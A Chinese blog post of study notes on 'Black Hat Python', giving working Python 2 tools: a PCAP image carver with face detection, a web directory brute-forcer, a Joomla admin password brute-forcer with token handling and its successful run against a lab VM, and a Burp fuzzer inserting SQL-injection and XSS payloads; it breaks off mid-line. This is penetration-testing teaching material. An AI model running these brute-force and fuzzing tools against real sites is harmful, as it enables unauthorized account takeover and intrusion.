    # 打开一个 PCAP 文件
    a = rdpcap(pcap_file)

    # 利用 scapy 的高级特性自动地对 TCP 中的绘画进行分割并保存到一个字典中
    sessions = a.sessions()

    for session in sessions:
        http_payload = ""
        for packet in sessions[session]:
            try:
                if packet[TCP].dport == 80 or packet[TCP].sport == 80:
                    # 对数据组包
                    # 我们过滤了非 HTTP 的流量,然后将 HTTP 会话的负载内容拼接到一个单独的缓冲区中(类似与 wireshark 的 follow TCP stream)
                    http_payload += str(packet[TCP].payload)
            except:
                pass

        # 调用 HTTP 头分割函数,它允许我们单独处理 HTTP 头中的内容。
        headers = get_http_headers(http_payload)

        if headers is None:
            continue
        # 当我们确认在 HTTP 响应数据中包含图像内容时,我们提取图像的原始数据,返回图像类型和图像的二进制流
        image, image_type = extract_image(headers, http_payload)
        if image is not None and image_type is not None:
            # 存储图像
            file_name = "%s-pic_carver_%d.%s" % (pcap_file, carved_images, image_type)
            fd = open("%s/%s" % (pictures_directory, file_name), "wb")

            fd.write(image)
            fd.close()

            carved_images += 1

            # 开始人脸识别
            try:
                result = face_detect("%s/%s" % (pictures_directory, file_name), file_name)
                if result is True:
                    faces_detected += 1
            except:
                pass

    return carved_images, faces_detected

carved_images, faces_detected = http_assembler(pcap_file)

print "Extracted: %d images" % carved_images
print "Detected: %d faces" % faces_detected

获取人脸检测分类算法的训练文件

root@kali:~# wget https://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml

创建工作目录并执行程序

root@kali:~# mkdir pictures
root@kali:~# mkdir faces
root@kali:~# python pic_carver.py 
WARNING: No route found for IPv6 destination :: (no default route?)
WARNING: DNS RR prematured end (ofs=149, len=147)
WARNING: DNS RR prematured end (ofs=149, len=147)
WARNING: more DNS RR prematured end (ofs=52, len=51)
Extracted: 1 images
Detected: 0 faces

第五章 Web 攻击

1. web 的套接字函数库:urllib2

简单使用 urllib2 库(urllib2_first.py)

#coding=utf-8
import urllib2
body = urllib2.urlopen("http://www.baidu.com")
print body.read().decode("utf-8")

# urlopen 函数返回一个类文件对象供我们读取,body 文件是iweb 服务器返回的。
# request类拥有定制请求头的权限

使用 urllib2 定制请求头(urllib2_second.py)

#coding=utf-8
import urllib2

url = "http://www.baidu.cn/"

# 定义一个 http 头字典
headers={}
headers['User-Agent'] = "Mozilla/5.0"

# 创建一个 request 对象,传入 url 和 http 头字典
request = urllib2.Request(url,headers=headers)
# 返回一个类文件对象
response = urllib2.urlopen(request)

print response.read()
response.close()

2. 开源 web 应用安装

* 创建一个能够获取远程目标(Joomla)所有文件的扫描器*

可以获取那些被 .htaccess 文件保护的残留安装文件和目录,以及其他有价值的东西。

扫描原理:

在本机定义一个完整的 Joomla 项目的目录结构,通过对比此目录访问目标服务器的敏感文件

#coding=utf-8
import Queue
import threading
import os
import urllib2

threads = 10

# 扫描原理:在本机定义一个完整的 Joomla 项目的目录结构,通过对比此目录访问目标服务器未删除的敏感文件

# 使用 www.turnkey.org 上面的 Joomla3 虚拟机
target = "http://10.10.10.135"

# 在本机测试时定义测试目录
directory = "./joomla"
os.chdir(directory) # 切换到指定目录

# 列出不感兴趣的文件后缀名单
filters = ["jpg", ".gif", ".png", ".css"]

os.chdir(directory)
# web_paths变量是 Queue 对象,用来存储我们试图在远程服务器上定位的文件
web_paths = Queue.Queue()

# os.walk遍历目录下所有文件和目录
for r,d,f in os.walk("."):
    for files in f:
        remote_path = "%s/%s" % (r,files)
        if remote_path.startswith("."):
            remote_path = remote_path[1:]
        # 对每个找到的合法文件。都添加到 web_paths Queue 中
        if os.path.splitext(files)[1] not in filters:
            web_paths.put(remote_path)

# 创建了一批线程,每一个都被 test_remote 函数发起
def test_remote():
    while not  web_paths.empty():
        path = web_paths.get()
        url = "%s%s" % (target, path)

        request = urllib2.Request(url)

        # 如果能顺利获取该文件,就输出状态码给文件的全路径
        try:
            response = urllib2.urlopen(request)
            content = response.read()

            print  "[%d] => %s" % (response.code, path)
            response.close()

        except urllib2.HTTPError as error:
            print "Failed %s" % error.code
            pass


# 创建了一批线程,每一个都被 test_remote 函数发起
for i in range(threads):
    print "Spawning thread %d" % i
    t = threading.Thread(target=test_remote)
    t.start()

在虚拟机上安装 Joomla 内容管理系统

https://downloads.joomla.org/zh-cn/

https://www.turnkeylinux.org/joomla3

执行程序爬取 Joomla

root@kali:~# python web_app_mapper.py 
Spawning thread 0
Spawning thread 1
Spawning thread 2
Spawning thread 3
Spawning thread 4
Spawning thread 5
Spawning thread 6
Spawning thread 7
Spawning thread 8
Spawning thread 9
[200] => /README.txt
[200] => /plugins/index.html
[200] => /robots.txt.dist
[200] => /web.config.txt
[200] => /plugins/content/emailcloak/emailcloak.php
[200] => /plugins/content/emailcloak/emailcloak.xml
[200] => /plugins/content/fields/fields.php
[200] => /plugins/content/fields/fields.xml
[200] => /plugins/content/vote/vote.xml
[200] => /plugins/content/vote/vote.php
[200] => /plugins/content/vote/tmpl/rating.php
[200] => /plugins/content/loadmodule/loadmodule.xml
[200] => /plugins/content/loadmodule/loadmodule.php

3. 暴力破解目录和文件位置

SVNDigger.txt

下载Wordlists(GPL) - SVNDigger.zip(〜550KB)

OWASP DirBuster项目

编写爆破工具扫描器(dir_bruter.py)

#coding=utf-8  
import urllib2  
import threading  
import Queue  
import urllib  

threads = 50  
target_url = "http://testphp.vulnweb.com"  
wordlist_file = "./all.txt"  # VNCDigger 项目中的字典
resume = None   # 作者说用于网络中断时,延续上一次尝试的字符串,而不用从头开始
user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36"  


def built_wordlist(wordlist_file):  
    # 读入字典文件  
    fd = open(wordlist_file, "rb")  
    raw_words = fd.readlines()  
    fd.close()  

    found_resume = False  
    words = Queue.Queue()  

    for word in raw_words:  
        # 删除字符串末尾的空格  
        word  = word.rstrip()  
        # 如果是延续上一次
        if resume is not None:  

            if found_resume:  
                words.put(word)  
            else:  
                if word == resume:  
                    found_resume = True  
                    print "Resuming wordlist from: %s" % resume  
        else:  
            words.put(word)
    # 整个文件探测完毕后,返回一个带有全部字符的 Queue 对象。
    return words  

def dir_bruter(word_queue, extentsions=None):  

    while not word_queue.empty():  
        attempt = word_queue.get() 

        # 用于储存要尝试的url
        attempt_list = []  

        # 检查是否有文件扩展名,如果没有就是我们要爆破路径,否则爆破文件  
        if "." not in attempt:  
            attempt_list.append("/%s/" % attempt)  
        else:  
            attempt_list.append("/%s" % attempt)  

        # 如果我们想暴力破解扩展名  
        if extentsions:  
            for extentsion in extentsions:  
                attempt_list.append("/%s%s" % (attempt, extentsion))  

        # 迭代我们要尝试的文件列表  
        for brute in attempt_list:  
            # 构造url
            url = "%s%s" % (target_url, urllib.quote(brute))  
            #print url  
            try:  
                headers = {}  
                headers['User-Agent'] = user_agent  
                r = urllib2.Request(url, headers=headers)  

                response = urllib2.urlopen(r)  
                #print response.__dict__
                if len(response.read()):  
                    print "[%d] => %s" % (response.code, url) 
            # 用e接收URLError的信息 
            # 如果响应码是200,那么我们输出 URL
            # 如果接收到的响应码是404,我们也将内容输出。
            except urllib2.URLError,e:  
                # code属性存在,并且code不是404  
                if hasattr(e, 'code') and e.code != 404:  
                    print "!!! %d => %s" % (e.code, url)  
                pass  

# 创建字典和扩展名列表
word_queue = built_wordlist(wordlist_file)  
extentsions = [".php", ".bak", ".orig",".inc"]  

# 开启多线程扫描
for i in range(threads):  
    t = threading.Thread(target=dir_bruter, args=(word_queue, extentsions))  
    t.start()  

搭建 OWASP Broken Web Apps VM 虚拟机

可以设置此虚拟机为扫描目标

[下载最新版本 OWASP_Broken_Web_Apps_VM_1.2.7z(1.8 GB)](http://sourceforge.net/projects/owaspbwa/files/)

开启扫描任务

root@kali:~# python dir_bruter.py 
[200] => http://testphp.vulnweb.com/admin/
[200] => http://testphp.vulnweb.com/CVS/
[200] => http://testphp.vulnweb.com/index.php
[200] => http://testphp.vulnweb.com/index.bak
[200] => http://testphp.vulnweb.com/search.php
[200] => http://testphp.vulnweb.com/login.php
[200] => http://testphp.vulnweb.com/login.php
[200] => http://testphp.vulnweb.com/images/

root@kali:~# python dir_bruter2.py 
!!! 502 => http://10.10.10.134/32/
[200] => http://10.10.10.134/assets/
[200] => http://10.10.10.134/images/
[200] => http://10.10.10.134/index.html

4. 暴力破解 HTML 表格认证

为了暴力破解Joomla,我们需要满足两个条件:一是在提交密码前检索登录表单中的登录令牌,二是保证在利用urllib2 建立会话时设置 cookies 值。

登陆页面的关键元素

<form action="/administrator/index.php" method="post" id="form-login" class="form-inline">
    <input name="username" tabindex="1" id="mod-login-username" class="input-medium" placeholder="Username" size="15" autofocus="true" type="text">
    <input name="passwd" tabindex="2" id="mod-login-password" class="input-medium" placeholder="Password" size="15" type="password">    
    <input name="option" value="com_login" type="hidden">
    <input name="task" value="login" type="hidden">
    <input name="return" value="aW5kZXgucGhw" type="hidden">
    <input name="0d7434a0ea17c86356df91e3ec853a75" value="1" type="hidden"> </fieldset>
</form>

通读这个表单代码,我们找到了需要传递给暴力破解工具的一些有价值的信息。首先,表单的内容通过HTTP 协议的POST 方法提交给路径/administrator/index.php。

在这里,如果你查看最后一个隐藏域值,你会看到它的名称设置成了一个长整型的随机字符串。这是Joomla 对抗暴力破解技术的关键。这个随机字符串将在你当前的用户会话中通过存储在cookie 中进行检测,如果该随机令牌没有出现,那么即使你使用了正确的认证凭证并传递给登录处理脚本,认证也会失败。这意味着你必须在暴力工具中加入如下流程才能成功破解Joomla:

  1. 检索登录页面,接受所有返回的cookies 值。

  2. 从HTML 中获取所有表单元素。

  3. 在你的字典中设置需要猜测的用户名和密码。

  4. 发送HTTP POST 数据包到登录处理脚本,数据包含所有的HTML 表单文件和存储的cookies 值。

  5. 测试是否能成功登录Web 应用。

创建 Joomla 爆破程序(joomla_bruter.py)

#coding=utf-8
import urllib2
import urllib
import cookielib
import threading
import sys
import Queue

from HTMLParser import HTMLParser

#简要设置
# 我的 Joomla 系统设置的密码为 admin:asd123...
# 在密码字典中添加 asd123... 然后再爆破
user_thread = 10
username ="admin"
wordlist_file ="./cain.txt"
resume = None

#特点目标设置 (我的 Joomla 虚拟机的目录结构是这样的)
target_url = "http://10.10.10.135/administrator/index.php"
# 将要尝试暴力破解的位置
target_post = "http://10.10.10.135/administrator/index.php"

# 分析 HTML 代码可得到
username_field = "username"
password_field = "passwd"

# 检测每一次暴力破解提交的用户名和面膜是否成功登录。
# 登陆成功的标志字符,选取一个登陆成功的页面的字符串
success_check = "Control Panel"

# 部署 HTML 页面的核心处理部分
# 在 HTML 处理之后,暴力破解类 "class Bruter(object)" 可以替换页面的用户名和密码域值
# 使用基础的 HTMLParser 类,可以对任何想攻击的web应用进行信息提取
class BruteParser(HTMLParser):
    def __init__(self):
        HTMLParser.__init__(self)
        # 创建一个字典用于存储结果
        self.tag_results = {}

    #当我们调用feed函数时,他将整个HTML文档传递进来并在遇到每个标签时调用 handle_starttag 函数(根据函数名就容易理解)
    def handle_starttag(self, tag, attrs):
        #判断是否是input标签
        if tag == "input":
            tag_name = None
            tag_value = None
            for name,value in attrs:
                #input标签里面不是有name,value,type等属性吗,这里只判断name和value
                #不过我觉得第二个if是多余的
                if name == "name":
                    tag_name = value
                if name == "value":
                    tag_value = value
                if tag_name is not None:
                    self.tag_results[tag_name] = value


# 创建爆破类,将处理所有的 htpp 请求并管理 cookie 值
class Bruter(object):
    def __init__(self, username, words):
        self.username = username
        self.password_q = words
        self.found = False

        print "Finished setting up for %s" % username

    def run_bruteforce(self):
        for i in range(user_thread):
            t = threading.Thread(target=self.web_bruter)
            t.start()

    def web_bruter(self):
        while not self.password_q.empty() and not self.found:
            #从字典获取密码,并去除右边的空格
            brute = self.password_q.get().rstrip()
            #使用FileCookieJar类,将cookie值储存到文件,参数为文件名,可用于存取cookie
            jar = cookielib.FileCookieJar("cookies")
            #用上面的jar初始化urllib2打开器,这样下面请求url时,就会把cookie值存到那个文件中
            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))

            response =opener.open(target_url)
            # 将获取的代码传递给页面解释器
            page = response.read()

            print  "Trying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize())

            #解析隐藏区域(表单)
            parser = BruteParser()
            # feed方法将返回一个将所有已获取表单元素组成的字典
            parser.feed(page)

            #已经含有隐藏表单的键值
            post_tags = parser.tag_results

            #替换用户名和面膜部分进行爆破
            post_tags[username_field] = self.username
            post_tags[password_field] = brute

            #输出post的数据(键值)
            # for key,value in post_tags.items():
            #     print key,':',value

            #使用url编码方式编码post的数据,开始尝试登陆
            login_data = urllib.urlencode(post_tags)
            login_response =opener.open(target_post, login_data)
            login_result = login_response.read()

            # 判断是否登陆成功
            if success_check in login_result:
                #设置为True,让循环结束
                self.found = True

                print "[*] Bruteforce successful."
                print "[*] Username: %s" % username
                print "[*] Password: %s" % brute
                print "[*] Waiting for other threads to exit..."

def built_wordlist(wordlist_file):
    #读入字典文件
    fd = open(wordlist_file, "rb")
    raw_words = fd.readlines()
    fd.close()

    found_resume = False
    words = Queue.Queue()

    for word in raw_words:
        #删除字符串末尾的空格
        word  = word.rstrip()
        #如果是延续上一次
        if resume is not None:

            if found_resume:
                words.put(word)
            else:
                if word == resume:
                    found_resume = True
                    print "Resuming wordlist from: %s" % resume
        else:
            words.put(word)
    return words

#构造字典
words = built_wordlist(wordlist_file)

#初始化Bruter类,将用户名和字典传递到暴力破解(Bruter)类中
bruter_obj = Bruter(username, words)
#调用run_bruteforce函数
bruter_obj.run_bruteforce()

下载 cain.txt 密码字典

Cain & Abel(多口令破解工具) 4.9.46 绿色汉化版

将密码字典改名为 cain.txt

在虚拟机上安装 Joomla 内容管理系统

https://downloads.joomla.org/zh-cn/

https://www.turnkeylinux.org/joomla3

我的密码设置的是 asd123…

将这个密码放入 cain.txt 字典文件中使破解有效

运行破解程序进行暴破

root@kali:~# python joomla_bruter.py 
Finished setting up for admin
Trying: admin : !@#$% (306697 left)
Trying: admin : 0racl38 (306697 left)
Trying: admin : 0racl3 (306697 left)
Trying: admin : 0racl38i (306697 left)
Trying: admin : asd123... (306697 left)
Trying: admin : * (306697 left)
Trying: admin : 0racle9i (306688 left)
Trying: admin : 0racle9 (306688 left)
Trying: admin : 0racle (306688 left)
Trying: admin : 0racle10 (306688 left)
Trying: admin : 1 (306687 left)
[*] Bruteforce successful.
[*] Username: admin
[*] Password: asd123...
[*] Waiting for other threads to exit...

第六章 扩展 Burpsuite 代理

下载 Jython ,Java 编写的 Python 解释器

Jython: Python for the Java Platform http://www.jython.org/downloads.html

Jython JAR 独立文件(jython-standalone-2.7.0.jar)

扫描工具-burpsuite

设置 Burpsuite 指向 Jython 解释器

Extender -> Options -> Python Environment -> Localtion od Jython JAR file -> 选中下载的独立文件(jython-standalone-2.7.0.jar)

1. Burp 模糊测试

为了在查询页面参数的过程中更自动化地进行攻击,你可以将请求包发送给Intruder工具,这个工具会自动判断Web 流量中哪些地方需要修改,之后允许你使用各种攻击引起错误提示或者梳理出漏洞。

查看 APIs 文档

  • Extender -> APIs -> IntruderPayloadGeneratorFactory:

    Burp 希望在我们的主类中使用两个函数。由 Burp 调用的 String getGeneratorNam() 函数获取我们的扩展工具的名字,我们希望它成功返回一个字符串。

    createNewInstance() 函数返回一个 IIntruderPayloadGenerator 类型的对象, IIntruderPayloadGenerator 是需要我们创建的第二个类

  • Extender -> APIs -> IIntruderPayloadGenerator:

    我们需要部署的基类包含三个函数。

    第一个函数是hasMorePayloads,用来判定是否继续把修改后的请求发送回Burp Intruder.我们使用一个计数器来解决这个问题,一旦计数器达到我们设置的上限,程序返回False, 这样不会继续生成模糊测试的请求。

    getNextPayload 函数接受你劫持的 HTTP 请求包中的原始负载作为参数,如果你在 HTTP 请求包中选择了多个攻击载荷参数,你将只能从模糊测试工具接收到字节数据。这个函数允许我们模糊测试原始的数据后再返还给它本身,这样 Burp 就可以发送新的模糊测试参数。

    最后一个函数reset, 如果我们生成已知的模糊测试请求(一般是五个),匹配我们设计的Intruder 标签中攻击载荷的位置,那么我们将逐次使用这五个模糊测试值。

编写模糊测试工具(burp_fuzzer.py)

#coding=utf-8
# IBurpExtender类是编写扩展工具必须的类,后两个是Intruder的,我们就是要扩展它
from burp import IBurpExtender  
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator

from java.util import List, ArrayList

import random

#定义自己的BurpExtender类,它继承和扩展了IBurpExtender和IIntruderPayloadGeneratorFactory类
class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):

    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()

        #用registerIntruderPayloadGeneratorFactory函数注册BurpExtender类,这样Intruder才能生成攻击载荷
        callbacks.registerIntruderPayloadGeneratorFactory(self)

        return

    #返回载荷生成器的名称
    def getGeneratorName(self):
        return "BHP Payload Generator"

    # 接受攻击相关参数,返回IIntruderPayloadGenerator类型的实例,作者将他命名为BHPFuzzer
    def createNewInstance(self, attack):
        return BHPFuzzer(self, attack)

# 定义BHPFuzzer类,扩展了IIntruderPayloadGenerator类
# 增加了max_payload(最大的payload), num_iterations(迭代次数)两个变量,他们用来对模糊测试的过程进行追踪,让 Burp 了解模糊测试完成的时间。
class BHPFuzzer(IIntruderPayloadGenerator):
    def __init__(self, extender, attack):
        self._extender = extender
        self._helpers = extender._helpers
        self._attack = attack
        self.max_payload = 1000
        self.num_iterations = 0
        return

    # 通过比较判断迭代是否达到上限
    def hasMorePayloads(self):
        if self.num_iterations == self.max_payload:
            return False
        else:
            # 返回 True 让扩展工具一直运行下去
            return True

    # 接收原始的HTTP载荷,这里就是进行模糊测试的地方
    # current_payload是数组格式,需要转化成字符串,然后传递给模糊测试函数 mutate_payload
    def getNextPayload(self, current_payload):
        # 转换成字符串
        payload = "".join(chr(x) for x in current_payload)
        # 调用简单的变形器对POST请求进行模糊测试
        payload = self.mutate_payload(payload)
        # 增加FUZZ的次数
        self.num_iterations += 1
        # 返回修改之后的载荷
        return payload

    # 重置
    def reset(self):
        self.num_iterations = 0
        return

    # 由于这个函数只关心当前的HTTP 负载,如果请求包中含有一些特殊协议: 如载荷开始时包含CRC 校验或者字符长度
    # 那么你就可以在函数返回前在函数内部计算和添加这些值,这样的实现方式非常灵活。
    def mutate_payload(self, original_payload):
        # 仅生成随机数或者调用一个外部脚本
        picker = random.randint(1,3)

        # 再载荷中选取一个随机的偏移量去变形
        offset = random.randint(0, len(original_payload)-1)
        payload = original_payload[:offset]

        # 在随机偏移位置插入SQL注入尝试
        if picker == 1:
            payload += "'"

        # 插入跨站尝试
        if picker == 2:
            payload += "<script>alert('xss');</script>"

        # 随机重复原始载荷
        if picker == 3:
            chunk_length = random.randint(len(payload[offset:]), len(payload)-1)
            repeater = random.randint(1,10)

            for i in range(repeater):
                payload += original_payload[offset:offset+chunk_

猜你喜欢

转载自blog.csdn.net/kevinhanser/article/details/80140427